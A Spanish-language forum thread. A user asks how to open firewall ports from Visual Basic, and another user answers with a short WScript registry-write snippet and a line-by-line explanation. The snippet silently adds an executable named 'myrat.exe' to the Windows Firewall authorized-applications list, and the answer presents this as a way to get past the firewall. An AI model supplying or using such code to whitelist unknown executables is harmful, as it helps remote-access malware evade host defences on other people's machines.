Abrir puertos

[JackBlaster]

Hola mi duda es acerca de como podria abrir los puertos de un firewall desde visual basic, o sea quiero abrir determinados puertos, que necesita mi programa para funcionar
Muchas gracias desde ya

[MaN!FesT]

HOla JackBlaster, bueno no se a que te refieres a lo del Firewall pero yo creo que sabes manejar el winsock, si te salta el firewall (de windows) puedes modificar esto:

Código:

dim registro as object
Dim Saltando as string
set registro = CreateObject("wscript.shell")
registro.regwrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\" & "Saltando", "C:\myrat.exe"
set registro = NOthing

Con eso te saltarias el firewall de windows,

Salu2

[JackBlaster]

Muchas gracias manifest podrias explicarme que es l oque haces exactamente en el codigo asi puedo entenderlo y aprenderlo?

[MaN!FesT]

Vaya hasta que alguien me agradece jiji  voy a llorar bueno te explicare:

Bueno para poder manejar el registro con Script HOst desde visual, hay 3 maneras fundamentales para poder hacerlo y son :

Escribir =>

Código:

RegWrite

Eliminar =>

Código:

RegDelete

RegRead =>

Código:

RegRead

Para poder acceder a estas maneras o metodos es necesario crear mediante automatización, con CreateObject, un objeto de tipo wscript.Shell

Esto es como cualquier otro objecto en Vb, y lo declararemos como una variable Object. CreateObject le especificamos que vamos a crear un objeto "Wscript.Shell". Cuando acabe la función o para eliminarla sería con "nothing" bueno un ejemplo sería el de arriba pero bien hay que explicarlo:

Código:

dim registro as object
Dim Saltando as string
set registro = CreateObject("wscript.shell")
registro.regwrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\" & "Saltando", "C:\myrat.exe"
set registro = NOthing

Dim registro as object
Declaramos como varible el objecto llamado registro.

Dim registro as string
Declaramos una cadena string llamada saltando, :p

set registro = CreateObject("wscript.shell")
Creamos el objecto

registro.regwr ite "HKEY_LOCAL_MAC HINE\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\" & "Saltando", "C:\myrat.exe"
Ay que es la parte mas emocionante, Escribiremos en la rama Hkey_local machine, el & "Saltando" es el nombre de una cadena de tipo String, el "C:\myrat.exe" es la ruta del ejecutable, bueno y ya para eliminar el objecto sería así

set registro = Nothing

Bueno espero que me hayas entendido

Salu2

[JackBlaster]

muchas gracias voy a probarlo y a ver si lo hago funcionar, con eso vos decis que ese programa quedaria fuera de la vista de el firewall?, debido a que mi programa necesita conectarce a travez del puerto 32504 entonces bueno ese era el puerto que necesitaba abrir, voy a ver que pasa con lo que me pasaste
Gracias de nuevo

[MaN!FesT]

De nada, y si el firewall no molesta estando configurando a full te lo digo por que yo uso eso jop

salu2